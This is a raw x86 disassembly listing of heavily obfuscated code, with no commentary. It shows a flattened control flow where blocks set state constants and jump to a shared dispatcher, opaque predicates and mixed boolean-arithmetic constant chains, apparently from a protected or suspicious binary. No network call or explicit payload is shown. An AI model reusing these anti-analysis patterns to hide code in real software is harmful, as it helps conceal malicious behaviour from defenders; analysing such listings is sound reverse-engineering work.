or esi, 0x83d8198
and ecx, eax
and esi, 0x497da19c
and edx, 0x36004802
or edx, esi
mov esi, ecx
not esi
and ecx, 0xb6825e63
or eax, esi
and esi, 0x497da19c
or ecx, esi
not eax
mov esi, 0xe3e880ba
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x88bf97f9
and eax, 0x77406806
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb9b92758
and ecx, 0x4646d8a7
or ecx, eax
mov eax, ecx
xor eax, 0x91990350
xor ecx, 0x40d8a6
and ecx, 0x2860fcae
and eax, 0xd79f0351
or eax, ecx
xor eax, 0xd79f0351
sete ah
setne dh
cmp dword [0x4f6180], 0xa
mov cl, ah
setl dl
setge al
mov ch, dl
and cl, al
or al, ah
and ch, dh
or dh, dl
or dl, ah
or cl, ch
mov bl, dh
not cl
xor bl, al
or al, dh
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
not cl
or al, bl
mov edx, 0x5678bb33
or cl, ah
xor cl, al
and cl, 1
cmovne edx, esi
test cl, al
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
cmove edx, esi
mov esi, 0x5678bb33
cmovne edx, esi
test cl, cl
cmove edx, esi
cmp byte [eax], 0
mov eax, edx
setne byte [ebp - 0xa7]
jmp 0x402740
mov eax, 0x3bb25ab
jmp 0x402740
mov eax, 0xcf2e3794
jmp 0x402740
mov eax, 0x3e29d64d
jmp 0x402740
mov eax, 0xbee6895e
jmp 0x402740
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x108]
mov eax, 0xaa6ae840
jmp 0x402740
mov eax, 0xf4383737
jmp 0x402740
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x800e430
mov esi, eax
and esi, 0xc3001001
mov edi, eax
or edi, 0xc2002010
and eax, 0xf1698fe3
or edx, esi
and edi, 0xe6b72bd6
mov esi, edx
xor esi, 0x800c420
xor edx, 0xe6b70bc6
and edx, 0xe6b72bd6
and esi, 0x900d421
or esi, edx
mov edx, ecx
and edx, 0x10480008
and ecx, 0xe96701c
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0xf47324dc
and esi, 0xb8cdb23
or edx, esi
mov esi, edx
xor esi, 0x316180e0
xor edx, 0xc08c2f13
mov edi, edx
and edi, 0xe96701c
and esi, 0xf1698fe3
or esi, edi
xor eax, esi
mov esi, 0x21c73f4c
not eax
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x4f6180], 0xa
setl ah
mov ch, ah
mov dl, ah
xor ch, cl
or dl, al
or cl, ah
xor al, ah
xor ch, 1
xor dl, 1
xor cl, 1
and al, ah
or dl, ch
or al, cl
mov ecx, edx
xor cl, al
xor al, 1
or al, dl
mov ah, cl
xor ah, al
test cl, cl
mov ecx, 0x116df213
cmovne ecx, esi
test al, al
not ah
cmovne ecx, esi
test ah, 1
mov eax, 0x116df213
jmp 0x4117b6
mov eax, 0x780b81b
jmp 0x402740
mov eax, dword [ebp - 0x84]
vxorps xmm0, xmm0, xmm0
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0x84]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x18]
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x9e556821
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x61aa97de
and eax, 0x9e556821
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xc0348cf7
and eax, 0xfffffffe
and edx, 0x3fcb7308
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x82c420a2
and edx, 0x7d3bdf5d
or ecx, edx
xor ecx, 0xbd0f53ab
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x20407800
and eax, 0x987005a
mov edx, ecx
and edx, 0x80000100
or esi, edx
mov edx, ecx
or edx, 0xa0407900
and ecx, 0x52300620
xor esi, 0x84088185
and edx, 0xa448f985
or ecx, esi
or eax, edx
mov esi, 0xffdd7f51
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xf2707f20
and ecx, 0xd8f80df
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb7671ee8
and ecx, 0x4898e117
or ecx, eax
mov eax, ecx
xor eax, 0x94031e88
xor ecx, 0x40986007
and ecx, 0x63fc6067
and eax, 0x9c039f98
or eax, ecx
xor eax, 0x9c039f98
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setl al
setge cl
and dl, cl
and al, ah
or cl, ah
or al, dl
mov edx, ecx
mov ah, al
and dl, al
xor ah, 1
mov ch, ah
xor ah, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x89e38a53
cmovne ecx, esi
test al, al
mov eax, 0x89e38a53
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, 0x1a57a371
jmp 0x402740
cmp eax, 0xdd82ef16
jne 0x402740
mov esi, dword [ebp - 0x1e0]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00433bd0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret